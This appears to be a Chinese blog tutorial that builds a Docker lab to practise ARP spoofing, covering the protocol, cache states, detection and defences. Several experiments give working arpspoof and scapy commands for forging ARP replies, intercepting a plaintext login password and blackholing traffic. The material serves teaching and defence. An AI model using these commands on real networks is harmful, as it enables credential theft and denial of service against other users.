对内网的知识还是一片空白,用Docker建个靶场来丰富知识面,练习ARP欺骗
ARP是什么
ARP 在解决什么问题
一台主机要发包给同网段的另一台主机,IP 只是逻辑地址,真正塞进以太网帧头里的是 MAC 地址。所以内核手里必须有「IP → MAC」的对照表,这张表就是 ARP 缓存(ip neigh 看的就是它)。
ARP 的职责就一句话:已知 IP,问出 MAC。
它工作在二层,没有 IP 头,不经过路由,出不了本网段。这也决定了 ARP 欺骗的作用范围——只能骗同一个广播域里的机器。
ARP 报文固定 28 字节,套在以太网帧里,加上 14 字节帧头,抓包看到的就是 42 字节:
ARP报文
┌──────────────── Ether 帧头(14 字节)────────────────┐│ dst MAC (6) │ src MAC (6) │ 类型 0x0806 (2) │├──────────────── ARP 报文(28 字节)──────────────────┤│ 硬件类型 (2) │ 协议类型 (2) │ 硬件长度 (1) │ 协议长度 (1) ││ 操作码 (2) │ 发送方 MAC (6) │ 发送方 IP (4) ││ 目标 MAC (6) │ 目标 IP (4) │└──────────────────────────────────────────────────────┘各字段的实际取值:
- 硬件类型
0x0001,以太网 - 协议类型
0x0800,IPv4 - 硬件长度
6(MAC 6 字节)、协议长度4(IP 4 字节) - 操作码
1= 请求(who-has),2= 应答(is-at) - 发送方 MAC / IP:谁发的
- 目标 MAC / IP:问谁的
关键点:ARP 报文里的「发送方 MAC」和以太网帧头里的「源 MAC」是两个独立字段,正常主机填成一样,攻击者可以填成不一样——这是后面很多花招的来源。
一次探测
一次正常交互(实测)
把受害者的缓存清掉,然后 ping 网关,在受害者上抓包:
docker exec arp-victim ip neigh del 172.28.0.2 dev eth0docker exec arp-victim tcpdump -l -e -n -c 4 arp &docker exec arp-victim ping -c1 172.28.0.2实测输出:
3e:50:33:43:99:0f > ff:ff:ff:ff:ff:ff, ARP, Request who-has 172.28.0.2 tell 172.28.0.3fa:b3:c4:3c:fd:eb > 3e:50:33:43:99:0f, ARP, Reply 172.28.0.2 is-at fa:b3:c4:3c:fd:eb逐字段读第一行:
- 帧的目的 MAC 是
ff:ff:ff:ff:ff:ff(广播)——因为还不知道网关 MAC,只能全喊 who-has 172.28.0.2是问题tell 172.28.0.3是「我知道自己的地址,回我就行」
第二行:
- 帧的目的 MAC 是
3e:50:33:43:99:0f(单播)——现在知道问的人是谁了 is-at fa:b3:c4:3c:fd:eb就是答案
请求是广播、应答是单播——这个差异后面会反复用到。它直接决定了「检测器为什么必须装在受害者上」。
四个设计缺陷
ARP 是 1982 年的协议(RFC 826),那时是互相信任的学术网络,安全不是设计目标。它留下了四个洞:
- 没有认证:报文里没有任何签名字段,谁发都算数。你说你是网关,没人会验证
- 没有状态:主机收到一个
is-at应答,不会检查「我刚刚问过吗」。不问也接受 - 有缓存:接受之后会记一段时间,这段时间里所有流量都按这个错误映射走
- 请求靠广播:广播域里每台机器都能看到谁在问什么,也都能抢答
第一条决定了「能不能骗」,第二条决定了「骗起来多容易」,第三条决定了「骗一次能管多久」。
三种欺骗形态
单向:只骗受害者,让它以为网关的 MAC 是攻击机。
- 受害者的出站流量先到攻击机
- 回程流量直接从网关发给受害者(网关的缓存没被动过)
- 结果:只能看到请求,看不到响应
- 用途:偷 HTTP 明文凭据、Cookie、URL 参数——请求里全都有
双向:两个方向都骗。
- 对受害者说「网关是我」
- 对网关说「受害者是我」
- 结果:所有包都先经过攻击机,完整中间人
- 前提:攻击机必须开
ip_forward,否则就是断网
冒充网关骗全网段:对广播域里所有主机发「网关是我」,一次骗一片。原理一样,只是目标从单台变成整个网段(并发操作也变成一台台来)。
ARP 欺骗靶场
本地 Docker 环境练 ARP 欺骗:从「为什么骗不动」开始,到完整中间人、抓明文密码、检测、防御。
缓存状态机 —— 为什么有时骗不动
这是整个靶场里最容易卡住的点,值得单独讲。
Linux 的邻居条目(包括 ARP)是有限状态机:
(不存在) │ 要发包,先发 who-has ▼ INCOMPLETE ──── 收到 is-at ────► REACHABLE │ │ 一段时间没通信(约 30 秒) ▼ STALE ◄──── 攻击窗口 │ │ 真的要用它发包了 ▼ DELAY ──5 秒──► PROBE ──► 重发 who-has各状态的差别:
- REACHABLE:最近确认过可达,内核认为这个映射是可信的
- STALE:条目还能用,但「可能过期了」,下次发包前要重新确认
- DELAY / PROBE:正在确认的过程中
- PERMANENT:手动钉死的,永远不老化(防御用)
关键规则:内核收到一个「非请求的」ARP 应答时,如果条目正处在 REACHABLE,会倾向于忽略它。理由是——你最近才验证过,凭什么一个陌生包就能改?
只有条目落到 STALE(内核认为「这个信息可能旧了」),新的应答才会被认真对待。
所以真实的 ARP 攻击是这样的:
- 攻击机持续发伪造应答
- 前几十秒受害者不理它(
REACHABLE) - 条目老化成
STALE - 这一刻收到的伪造应答被接受,缓存被改写
- 改写后又变
REACHABLE,攻击者继续发,维持住
这就是为什么 arpspoof 必须一直跑。不是刷屏,是在蹲那个窗口。
想立刻看到效果,手动把条目改成 STALE:
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud staleip neigh 最后一列就是状态,实验时养成习惯盯着它。
拓扑
arpnet 172.28.0.0/24(同一个 bridge,二层互通)
attacker 172.28.0.4 ──┐ │ victim 172.28.0.3 ──┼── gateway 172.28.0.2 │ └─ 跑 server.py,扮演上游网站victim的默认路由指向172.28.0.2,它访问网站时以为在跟网关说话- 被毒化后,victim 的发包先到
attacker,由攻击机转发(或丢掉) - 三个容器都带
NET_ADMIN+NET_RAW,攻击机额外开了net.ipv4.ip_forward=1
ip_forward 到底管什么
net.ipv4.ip_forward 控制内核要不要转发「目的地不是自己」的包。
- = 0:包到了攻击机,发现目标 IP 不是自己,直接丢弃 → 受害者断网。这是断网型 DoS,也是很多人「打了一半网就没了」的原因
- = 1:包照原样转发出去,链路通,攻击机只是中间站 → 中间人
容器里这个参数改不了(sysctl: permission denied),因为要在创建 netns 时才定,所以写进了 compose.yml 的 sysctls。
顺带一提,转发时内核会把 TTL 减 1。所以「TTL 异常」在某些检测场景里是一条线索。
起环境
cd /Users/liyuhang/代码库/靶场/arp./run.sh脚本会打印三个容器的真实 MAC。下面所有命令都从容器里读 MAC,不要抄死值,重建容器后 MAC 会变。
停环境:docker compose down 重置:docker compose restart
实验 1:先看正常状态
docker exec arp-victim ip routedocker exec arp-victim ping -c2 172.28.0.2docker exec arp-victim ip neighdocker exec arp-victim curl -s http://172.28.0.2/返回
default via 172.28.0.2 dev eth0172.28.0.0/24 dev eth0 proto kernel scope link src 172.28.0.3PING 172.28.0.2 (172.28.0.2) 56(84) bytes of data.64 bytes from 172.28.0.2: icmp_seq=1 ttl=64 time=0.147 ms64 bytes from 172.28.0.2: icmp_seq=2 ttl=64 time=0.194 ms
--- 172.28.0.2 ping statistics ---2 packets transmitted, 2 received, 0% packet loss, time 1048msrtt min/avg/max/mdev = 0.147/0.170/0.194/0.023 ms172.28.0.2 dev eth0 lladdr fa:b3:c4:3c:fd:eb DELAYupstream is alive这一步是基线。后面所有「变化」都要跟这里对比,否则你没法判断到底有没有骗成功。
实验 2:为什么 arpspoof 跑了却没反应
先记下真网关 MAC:
GW_MAC=$(docker exec arp-gw cat /sys/class/net/eth0/address)echo $GW_MAC然后直接毒化:
docker exec -d arp-attacker arpspoof -i eth0 -t 172.28.0.3 172.28.0.2sleep 4docker exec arp-victim ip neigh show 172.28.0.2大概率还是原来的 MAC,状态 REACHABLE。 arpspoof 明明在发包,怎么没效果?
原因:现代 Linux 内核收到「非请求的 ARP 应答」时,如果邻居条目正处在 REACHABLE,会倾向于忽略它——防止随便一个包就能改写缓存。只有条目老化成 STALE 之后,新信息才会被接受。
这就解释了为什么真实的 ARP 攻击要一直发,不是发一次就完事:它在等条目老化的那个窗口。开着 arpspoof 等久一点(十几秒到几十秒,取决于内核参数和有没有别的流量),条目自己会从 REACHABLE 转成 STALE,那一刻毒化就生效了。
想立刻复现,把条目手动改成 STALE 就行:
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud staledocker exec arp-victim ip neigh show 172.28.0.2sleep 5docker exec arp-victim ip neigh show 172.28.0.2ip neigh 最后一列的含义值得记一下:
REACHABLE最近确认过可达,短期内不会再去问STALE条目还有效,但下次发包前要先重新确认(这就是攻击窗口)DELAY/PROBE正在确认中PERMANENT手动钉死的,永远不老化(防御用)
实验 3:单向毒化只能看到上行
只骗受害者(-t 受害者 要冒充的IP),网关那一侧不动:
docker exec arp-attacker pkill -f arpspoof 2>/dev/null# 先把网关侧的残留毒化清掉,否则上一轮双向毒化的效果还在,下行照样经过攻击机docker exec arp-gw ip neigh del 172.28.0.3 dev eth0 2>/dev/nulldocker exec arp-gw ping -c1 172.28.0.3 >/dev/null 2>&1
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud staledocker exec -d arp-attacker sh -c "arpspoof -i eth0 -t 172.28.0.3 172.28.0.2 > /tmp/a.log 2>&1"sleep 5docker exec arp-victim ip neigh show 172.28.0.2 # 已指向攻击机现在攻击机抓包,然后让受害者登录:
docker exec -d arp-attacker sh -c "tcpdump -l -i eth0 -s0 -A 'host 172.28.0.3 and tcp port 80' > /tmp/up.log 2>&1"sleep 2docker exec arp-victim curl -s -X POST -d "user=admin&pass=OneWay" http://172.28.0.2/loginsleep 2docker exec arp-attacker grep -a "OneWay" /tmp/up.log | head -3能看到密码——因为请求包被引到了攻击机。但响应看不到,因为网关回包时直接按自己的 ARP 缓存发给受害者,不经过攻击机。
所以单向毒化适合「我只想偷看请求」,比如抓 HTTP 明文凭据、抓 Cookie。要看完整会话就得双向。
实验 4:双向毒化 + 转发 = 完整中间人
用自带的 scapy 脚本,两个方向都骗,退出时自动恢复:
docker exec arp-attacker pkill -f arpspoof 2>/dev/nulldocker exec -d arp-attacker sh -c "python3 /lab/arpspoof.py > /tmp/spoof.log 2>&1"sleep 5docker exec arp-attacker cat /tmp/spoof.logdocker exec arp-victim ip neigh show 172.28.0.2docker exec arp-gw ip neigh show 172.28.0.3 # 网关这边也被骗了两边都指向攻击机,这才叫双向。现在攻击机是真正的中间人:
docker exec -d arp-attacker sh -c "tcpdump -l -i eth0 -s0 -A 'host 172.28.0.3 and tcp port 80' > /tmp/mitm.log 2>&1"sleep 2docker exec arp-victim curl -s -X POST -d "user=admin&pass=Sup3rS3cret!" http://172.28.0.2/loginsleep 2echo "--- 攻击机看到的 ---"docker exec arp-attacker grep -a -E "POST|Sup3rS3cret" /tmp/mitm.log | head -4echo "--- 网关那边也收到了(说明包被转发,不是断网) ---"docker logs arp-gw 2>&1 | tail -3两个输出都要有:攻击机拿到明文密码,网关也正常收到请求。只有两边都有,才证明是中间人而不是断网。
关掉转发就是断网 DoS
docker exec arp-attacker iptables -A FORWARD -j DROP # 模拟不转发docker exec arp-victim curl -s -m 5 -o /dev/null -w "状态: %{http_code}\n" http://172.28.0.2/# 000 = 超时,流量被引到攻击机然后被丢掉docker exec arp-attacker iptables -D FORWARD -j DROP实验 5:检测
在受害者上跑检测脚本:
docker exec arp-attacker pkill -f arpspoof 2>/dev/null; sleep 1docker exec arp-victim ip neigh del 172.28.0.2 dev eth0 2>/dev/nulldocker exec arp-victim ping -c1 172.28.0.2 >/dev/null 2>&1
docker exec -d arp-victim sh -c "python3 /lab/detect_arp_spoof.py > /tmp/detect.log 2>&1"sleep 3docker exec arp-victim cat /tmp/detect.log # 打印基线
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud staledocker exec -d arp-attacker sh -c "python3 /lab/arpspoof.py > /tmp/spoof.log 2>&1"sleep 5docker exec arp-victim cat /tmp/detect.log # 告警输出类似:
[!] 01:17:30 ARP 欺骗告警:172.28.0.2 声称 MAC 是 b2:c9:9e:24:66:9c,但基线是 22:0e:42:13:ca:93 来源帧:src MAC=b2:c9:9e:24:66:9c -> 如果你没换网卡,这就是攻击者为什么检测要放在受害者上:攻击机发的是单播 ARP 应答(Ether.dst 直接写受害者 MAC),同网段的第三台机器在真实交换机上收不到这些帧。所以传统的旁路 arpwatch 在这种场景里是瞎的,只有被骗的主机自己看得见谎言。
这套逻辑的局限也得知道:网关真换了网卡、做了 VRRP 主备切换,同样会告警;攻击者把 MAC 伪造成和真网关一模一样,检测不到。
实验 6:静态 ARP 绑定(防御)
钉死网关的 MAC:
GW_MAC=$(docker exec arp-gw cat /sys/class/net/eth0/address)docker exec arp-victim ip neigh replace 172.28.0.2 dev eth0 lladdr $GW_MAC nud permanentdocker exec arp-victim ip neigh show 172.28.0.2 # 末尾 PERMANENT再毒化,看还能不能骗动:
docker exec -d arp-attacker sh -c "python3 /lab/arpspoof.py > /tmp/spoof.log 2>&1"sleep 6docker exec arp-victim ip neigh show 172.28.0.2 # 还是真 MAC,PERMANENT别用「抓包能不能看到」判断防御是否有效
这一步很容易踩坑:静态绑定之后,攻击机可能还是能抓到一些包。原因通常不是防御失效,而是网关那一侧的 ARP 缓存还残留着攻击机 MAC(上一轮双向毒化的结果),回包依然先到攻击机。
更硬的判据是把攻击机的转发掐掉,看受害者还能不能通:
# 双侧都钉死docker exec arp-gw ip neigh replace 172.28.0.3 dev eth0 lladdr $(docker exec arp-victim cat /sys/class/net/eth0/address) nud permanentdocker exec arp-victim ip neigh replace 172.28.0.2 dev eth0 lladdr $GW_MAC nud permanent
docker exec arp-attacker iptables -A FORWARD -j DROPdocker exec arp-victim curl -s -m 5 -o /dev/null -w "状态: %{http_code}\n" http://172.28.0.2/# 200 = 流量压根没经过攻击机,防御有效docker exec arp-attacker iptables -D FORWARD -j DROP对比实验 4 的同一个操作(毒化状态下 DROP → 000),结论就明确了。
实验 7:现成工具
dsniff 的 arpspoof,一条命令,单向:
docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud staledocker exec -d arp-attacker sh -c "arpspoof -i eth0 -t 172.28.0.3 172.28.0.2 > /tmp/dsniff.log 2>&1"sleep 4docker exec arp-attacker head -2 /tmp/dsniff.log输出直接就是帧结构,可以对着 arpspoof.py 里的注释看:
9a:d1:97:78:48:6a da:c6:fc:38:b5:00 0806 42: arp reply 172.28.0.2 is-at 9a:d1:97:78:48:6a└─ 源 MAC ────────┘ └─ 目的 MAC ──────┘ └类型┘ └长度┘ 这就是 op=2 的 is-at双向要开两个进程(两个方向各一个):
docker exec -d arp-attacker arpspoof -i eth0 -t 172.28.0.3 172.28.0.2 # 骗受害者docker exec -d arp-attacker arpspoof -i eth0 -t 172.28.0.2 172.28.0.3 # 骗网关dsniff 需要从 /proc/net/arp 查目标 MAC,如果攻击机的 ARP 表里没有目标条目,会发出目的 MAC 畸形的帧,受害者收不到、毒化静默失败。先 ping 一下目标就解决了。
想上更完整的框架可以自己装 bettercap(自带 net.probe / arp.spoof / 流量嗅探 / 面板),思路和上面完全一样,只是封装好了。
踩坑记录
sysctl -w net.ipv4.ip_forward=1在容器里 permission denied。这个参数必须在创建 netns 时定好,所以写进了 compose 的sysctls。容器起来后再改是不行的。- 恢复必须双向。脚本退出时只恢复受害者、不恢复网关,网关会继续把回包发给攻击机,症状是「攻击停了但受害者还是不通」。
ip neigh replace少写dev eth0会报 “Device and destination are required arguments”。- 稳定
REACHABLE条目毒化不动,先nud stale或等它老化,见实验 2。 tcpdump输出重定向到文件时是块缓冲,sleep 2后去grep可能什么也搜不到,文件看着是空的。加-l(行缓冲)就立刻能搜到。上面所有命令都带了-l。- 「抓到包」不等于「攻击成功」。判断成功的顺序是:先看两侧 ARP 表变了没有,再看流量是否真的经过攻击机(用
iptables -A FORWARD -j DROP做反证)。只看 tcpdump 有输出很容易误判。 - 容器重建后 MAC 全变,任何写死 MAC 的命令都会失效。
真实世界的防御手段
- 静态 ARP 绑定:上面做的。小网络可控,大网络维护成本高。
- 动态 ARP 检测(DAI):交换机上配合 DHCP snooping 建立「IP-MAC-端口」绑定表,非法 ARP 直接丢弃。企业网的标准做法,需要可网管交换机。
- 端口隔离 / PVLAN:让同网段主机之间根本不通,ARP 欺骗拿不到目标。
- 加密流量:HTTPS / SSH 之后,就算被中间人也只能看到密文(但攻击者仍能做 SSL 剥离、DNS 劫持,别以为加密就万事大吉)。
- 终端侧检测:arpwatch、EDR 的 ARP 异常告警,逻辑和
detect_arp_spoof.py一样。
命令速查
# 看 ARP 表(带状态)docker exec arp-victim ip neigh
# 清掉某条缓存,让下次通信重新解析docker exec arp-victim ip neigh del 172.28.0.2 dev eth0
# 手动把条目改成 STALE(制造攻击窗口)docker exec arp-victim ip neigh change 172.28.0.2 dev eth0 nud stale
# 钉死,永不老化docker exec arp-victim ip neigh replace 172.28.0.2 dev eth0 lladdr <MAC> nud permanent
# 抓包看明文docker exec arp-attacker tcpdump -l -i eth0 -s0 -A 'host 172.28.0.3 and tcp port 80'
# 看某个容器的 MACdocker exec arp-gw cat /sys/class/net/eth0/address脚本讲解:arpspoof.py
整体结构
main() └─ ArpSpoofer(...).run() ├─ resolve() 问出两个真实 MAC(一次性) ├─ 循环 poison_once() 每 2 秒一轮,双向各发一个伪造应答 └─ KeyboardInterrupt → restore() 把正确映射发回去三个函数各管一件事,poison_once 和 restore 用的是同一个 make_reply,区别只是「声称的 MAC 是谁」。
arp_resolve():怎么问出真实 MAC
ans, _ = srp( Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), iface=iface, timeout=timeout, verbose=False,)for _, rcv in ans: return rcv[ARP].hwsrc拆开看:
Ether(dst="ff:ff:ff:ff:ff:ff")—— 目的 MAC 全 f,就是广播/ ARP(pdst=ip)—— 斜杠是 scapy 的「叠加」操作符,把 ARP 报文塞进以太网帧的载荷里ARP(pdst=ip)只填了目标 IP,op默认是 1(请求),其余字段 scapy 自动补srp= send and receive at layer 2(send receive packet,二层版)。它发包、收包、把「发了什么」和「收到了什么」配对返回- 返回值是
(answered, unanswered)两个列表,for _, rcv in ans只关心收到的 rcv[ARP].hwsrc取应答里的发送方 MAC,这就是答案
为什么不用 scapy 自带的 getmacbyip():那个函数的参数名在不同版本里改过(2.8 里就没有 iface 参数,传了直接 TypeError)。自己写一遍十几行,稳定,而且过程全透明。
make_reply():伪造应答的核心
return Ether(dst=eth_dst, src=eth_src) / ARP( op=2, hwsrc=eth_src, psrc=claimed_ip, hwdst=target_mac, pdst=target_ip,)五个参数,逐个对应到报文:
eth_dst→ 帧头目的 MAC,写具体 MAC 就是单播,只送到这一台eth_src→ 帧头源 MAC,填攻击机自己的op=2→ 这是应答(is-at),不是请求。受害者不会去核对「我问过吗」hwsrc=eth_src→ 报文里的发送方 MAC 必须等于帧头的源 MAC。填不一致等于自己举报自己,有些主机/IDS 会直接告警psrc=claimed_ip→ 这是整个骗局的核心:声称自己是那个 IPhwdst/pdst→ 收件人的 MAC 和 IP
为什么用单播不用广播:广播会让整个网段的所有机器都更新缓存(动静大、容易被发现),而单播只有目标主机收得到——顺带让同网段的第三方监控完全看不到这次攻击。
poison_once():为什么要发两次
# 方向一:骗受害者make_reply(eth_dst=victim_mac, eth_src=my_mac, claimed_ip=gateway_ip, target_ip=victim_ip, target_mac=victim_mac)
# 方向二:骗网关make_reply(eth_dst=gateway_mac, eth_src=my_mac, claimed_ip=victim_ip, target_ip=gateway_ip, target_mac=gateway_mac)两次调用的参数完全对称,只有「骗谁」和「冒充谁」互换:
- 第一次:发给受害者,声称自己是网关 IP
- 第二次:发给网关,声称自己是受害者 IP
只做第一次,就是单向——回程流量不经过攻击机。
restore():为什么必须写
for _ in range(5): sendp(make_reply(eth_dst=victim_mac, eth_src=gateway_mac, claimed_ip=gateway_ip, ...)) sendp(make_reply(eth_dst=gateway_mac, eth_src=victim_mac, claimed_ip=victim_ip, ...)) time.sleep(0.3)和毒化代码长得几乎一样,唯一区别:eth_src 换成了对方的真实 MAC,也就是「用真实身份发一个正确的应答」。
不写这段的后果:攻击机一退出,受害者缓存里网关 MAC 还是攻击机的,所有流量发向一个已经不在的地址,直接断网,直到条目老化(最长几分钟)。
必须双向恢复,只恢复一边会导致「攻击停了,受害者还是不通」——这个坑在 README 踩坑记录里专门写了。
连发 5 次是因为 UDP 式的尽力而为,发一次可能丢。
run():循环和间隔
while True: self.poison_once() round_no += 1 if round_no % 5 == 1: print(...) time.sleep(self.interval)interval 默认 2 秒。这个值的取舍:
- 太慢(>10 秒):受害者条目老化后可能自己重新问到正确 MAC,欺骗断了
- 太快(<0.1 秒):大量无用流量,容易被流量分析发现
2 秒是常见默认值。round_no % 5 == 1 只是让日志别刷屏。
except KeyboardInterrupt 捕获 Ctrl-C,转去 restore()——这就是「优雅退出」在这个场景的实际意义。
脚本拆解:detect_arp_spoof.py
为什么检测器必须装在受害者上
回到第三节的实测:ARP 应答是单播的。
攻击机发的伪造应答,帧头目的 MAC 直接写成受害者的 MAC。在真实交换机上,这个帧只会被转发到受害者那个端口,同网段的第三台机器根本收不到。
所以传统的「旁路部署 arpwatch 抓全网的 ARP」在这个场景里是瞎的——它只能看到广播的请求,看不到单播的谎言。只有受害者自己的网卡能看到骗它的那个包。
(Docker 的 bridge 行为和真实交换机不完全一样,但结论不变:别指望第三方机器帮你检测。)
build_baseline():先拿到「真相」
ans, _ = srp( Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=watch_ip), iface=iface, timeout=2, verbose=False,)for _, rcv in ans: mac = rcv[ARP].hwsrc baseline[watch_ip] = mac return逐行看:
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=watch_ip)—— 和arpspoof.py里arp_resolve()做的是同一件事:造一个广播的 who-has。这里故意复制逻辑而不是 import,因为两个脚本要能各自独立拷走使用srp返回两个列表(answered, unanswered),我们只用ansfor _, rcv in ans: return—— 只取第一个应答就返回。局域网里同一个 IP 只该有一台机器应答,先到的就是它。如果此刻有攻击者在抢答,说明已经在被攻击了,那基线本来也不该信baseline[watch_ip] = mac—— 写进模块顶层的全局字典
失败处理:
sys.exit(f"[!] 建立基线失败:{watch_ip} 没有回应 ARP")sys.exit(字符串) 会把字符串打到 stderr 并以非零状态退出。设计选择是:宁可不跑,也别带着空基线跑。
因为基线为空时,on_packet 里那句 if claimed_ip not in baseline: return 永远成立,每个包都被丢掉,检测器看起来在运行,实际什么也没做。这种静默失效比直接报错危险得多。
为什么要用全局字典而不是返回值:on_packet 是 sniff 的回调,scapy 规定它只接受一个 pkt 参数,没地方塞额外参数。全局变量是这里最省事的做法,代价是可测试性差、一个进程只能跑一个实例。
on_packet():三层过滤,顺序不能乱
第一层,只放行应答:
if ARP not in pkt or pkt[ARP].op != 2: return两个判断用 or 连起来,顺序有讲究:
ARP not in pkt必须在前,否则下一句pkt[ARP]会抛 KeyError。虽然sniff已经用filter="arp"过滤过,理论上不会出现非 ARP 包,但防御性写法在这里成本几乎为零op != 2—— 只处理 is-at。为什么不管请求(op=1):正常主机的 who-has 里也带着自己的 MAC,但内核不会用请求去改缓存,处理它只会凭空制造误报
第二层,取出「声称的身份」:
claimed_ip = pkt[ARP].psrcclaimed_mac = pkt[ARP].hwsrc注意变量名里的 claimed(声称的)。这两个值是「对方说的」,不是「事实」。整个 ARP 欺骗就在这两个字段上撒谎,检测也就在这两个字段上找矛盾。
第三层,只监控关心的主机:
if claimed_ip not in baseline: return网段里其他机器的 ARP 应答怎么变都不归我们管。想让检测器盯多台主机,往 baseline 里多塞几条就行,代码一行不用改。
比对:
known_mac = baseline[claimed_ip]if claimed_mac.lower() == known_mac.lower(): returnlower() 不能省。scapy 不同版本、不同系统返回的 MAC 大小写不一致,直接 == 会误报——这种坑不踩一次想不到。
告警:
print(f"[!] {stamp()} ARP 欺骗告警:{claimed_ip} 声称 MAC 是 {claimed_mac}," f"但基线是 {known_mac}", flush=True)print(f" 来源帧:src MAC={pkt[Ether].src} -> 如果你没换网卡,这就是攻击者", flush=True)两个细节值得记:
flush=True:print默认带缓冲,输出重定向到文件时(实验 5 里的> /tmp/detect.log)不 flush 的话日志可能迟迟不落盘,cat出来是空的。和 tcpdump 要加-l是同一类问题- 第二行打印的是
pkt[Ether].src,不是claimed_mac。这两个值含义不同:hwsrc是「报文里声称的 MAC」,Ether.src是「帧实际从哪块网卡发出」。正常情况下两者相同;水平高一点的攻击者可以让hwsrc和Ether.src对不上(伪造声称的 MAC,但帧头仍暴露自己)。抓帧头更接近「谁真的发了这个包」
main():sniff 的四个参数
sniff(iface=args.iface, filter="arp", prn=on_packet, store=False)iface="eth0":在哪块网卡上抓filter="arp":BPF 过滤器,在内核态就把非 ARP 的包扔掉,根本不会送到 Python 层。这比在on_packet里判断if ARP not in pkt省得多——后者意味着每个包都要先从内核拷贝到用户态。用filter=需要 libpcap,镜像里装了 tcpdump 所以有prn=on_packet:每来一个包调用一次。注意如果prn的函数返回了值,scapy 会把返回值当包发出去;on_packet里全是return和print,没有返回值,安全store=False:不把包存进列表。默认store=True会把每个收到的包追加进内存,跑一天能吃掉几百 MB。检测器只需要「看一眼」,不需要「留底」
sniff 是阻塞的,Ctrl-C 直接退出。这里不需要 try/except KeyboardInterrupt——检测器退出时没有任何状态需要恢复(对比 arpspoof.py 必须 restore(),否则受害者断网)。
这套逻辑的盲区
- 合法变更会误报:网关真换了网卡、或做了 VRRP 主备切换,MAC 确实会变
- 基线建立时机:如果基线是在被毒化之后才建的,基线本身就是错的,之后所有正确映射反而会被当成异常。启动检测器前先确认网络是干净的
- 伪造得一模一样就检测不到:攻击者把 MAC 伪造成和真网关完全相同,这套逻辑抓不到(但那样它也得真的接管那个 MAC 才有用)
- 看不到单向攻击:如果攻击者只骗网关、不骗受害者,受害者侧什么异常也看不到
所以企业里的做法不是靠这个脚本,而是交换机上的 DAI(动态 ARP 检测):配合 DHCP snooping 建立「IP-MAC-端口」绑定表,端口上收到的 ARP 如果和表对不上,直接在交换机层面丢弃。攻击包连受害者都到不了。
想拿它当工具用,还得补什么
- 持久化:告警写文件或发 syslog,别只打在终端
- 白名单:合法 MAC 变更要有例外机制,否则运维会被误报淹没
- 多目标:往
baseline里加条目,顺手把--watch改成nargs="+" - 定期重验:基线放久了会过期,隔一段时间重新确认一次
arpwatch 走的是完全一样的思路(记录 IP-MAC 对,变化就告警),区别在于它是通用守护进程、靠 syslog 和邮件通知;自己写的好处是能精确控制监控对象,也能把这些细节摊开看。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!